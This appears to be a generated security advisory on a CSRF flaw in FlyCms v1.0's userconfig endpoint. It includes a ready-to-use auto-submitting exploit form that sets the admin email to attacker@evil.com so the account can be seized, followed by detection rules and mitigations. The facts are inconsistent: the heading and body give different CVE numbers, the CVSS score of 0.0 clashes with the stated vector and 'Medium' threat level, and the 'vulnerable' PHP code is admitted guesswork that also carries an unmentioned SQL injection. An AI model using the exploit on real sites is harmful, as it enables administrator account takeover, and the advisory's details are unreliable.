CVE-2023-52072

Executive Summary

CVE-2023-52073 is a Cross-Site Request Forgery (CSRF) vulnerability identified in FlyCms v1.0. The flaw exists in the /system/site/userconfig_updagte component, allowing an attacker to perform unauthorized actions on behalf of an authenticated administrator. The vulnerability has a CVSS score of 0.0, indicating no official severity rating, but the lack of a patch and the nature of CSRF attacks make it a significant security concern for any deployment of FlyCms v1.0.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and is specific to the FlyCms application itself. No supply chain implications have been identified.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unrated)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – but requires user interaction
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium (due to lack of patch and potential for privilege escalation via CSRF)

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the userconfig_updagte endpoint. An attacker can craft a malicious HTML page or link that, when visited by an authenticated administrator, triggers a state-changing request to update user configuration settings. This could allow the attacker to modify administrator credentials, change site settings, or perform other unauthorized actions.

The attack relies on the fact that the application does not implement anti-CSRF tokens or other validation mechanisms for this endpoint. The request is processed as if it came from the legitimate user, leveraging the user's existing session cookie.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0): The vulnerable endpoint /system/site/userconfig_updagte likely processes POST requests without verifying a CSRF token. Example vulnerable PHP code:

// Vulnerable: No CSRF token check
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $user_id = $_POST['user_id'];
    $new_email = $_POST['email'];
    // Update user configuration
    $db->query("UPDATE users SET email='$new_email' WHERE id=$user_id");
}

Patched Code (Hypothetical): A patched version would include a CSRF token validation:

// Patched: CSRF token check
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $user_id = $_POST['user_id'];
    $new_email = $_POST['email'];
    // Update user configuration
    $stmt = $db->prepare("UPDATE users SET email=? WHERE id=?");
    $stmt->execute([$new_email, $user_id]);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install FlyCms v1.0 on a local server (e.g., XAMPP or LAMP).
2. Create an admin account and log in.
3. Host a malicious HTML page on a separate server or local file.

Exploit Code:

<html>
<body>
<form action="http://target.com/system/site/userconfig_updagte" method="POST">
  <input type="hidden" name="user_id" value="1" />
  <input type="hidden" name="email" value="attacker@evil.com" />
  <input type="submit" value="Click me" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

Execution:

• Send the malicious link to an authenticated admin.
• When the admin visits the page, the form auto-submits, changing the admin's email to attacker@evil.com.
• The attacker can then use password reset functionality to take over the account.

Blue Team

Detection:

• Monitor for unexpected changes to user configuration settings.
• Look for POST requests to /system/site/userconfig_updagte with unusual referer headers or without a CSRF token.
• Implement CSRF tokens and validate them on all state-changing endpoints.

Mitigation:

• Apply input validation and output encoding.
• Use SameSite cookies (Strict or Lax) to prevent cross-site requests.
• Implement a Web Application Firewall (WAF) rule to block requests without proper CSRF tokens.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /system/site/userconfig_updagte with suspicious parameters.
  • Referer header pointing to an external domain.
• System:
  • Unexpected changes to user email addresses or passwords.
  • Log entries showing configuration updates without corresponding admin action.
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule Detect_FlyCms_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against FlyCms v1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-52073"
    strings:
        $s1 = "/system/site/userconfig_updagte" ascii wide nocase
        $s2 = "user_id=" ascii wide nocase
        $s3 = "email=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to FlyCms userconfig_updagte endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/system/site/userconfig_updagte'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> any any (msg:"FlyCms CSRF Exploit Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/site/userconfig_updagte"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable endpoint if not required.
   • Implement CSRF tokens for all state-changing requests.
   • Use SameSite cookies (Strict or Lax) to prevent cross-site requests.

2. Long-term Fix:

   • Upgrade to a patched version of FlyCms if available.
   • Apply input validation and output encoding.
   • Conduct a security audit of the entire application.

3. Workarounds:

   • Use a Web Application Firewall (WAF) to block requests without CSRF tokens.
   • Implement additional authentication checks (e.g., re-authentication for sensitive actions).

Valters IT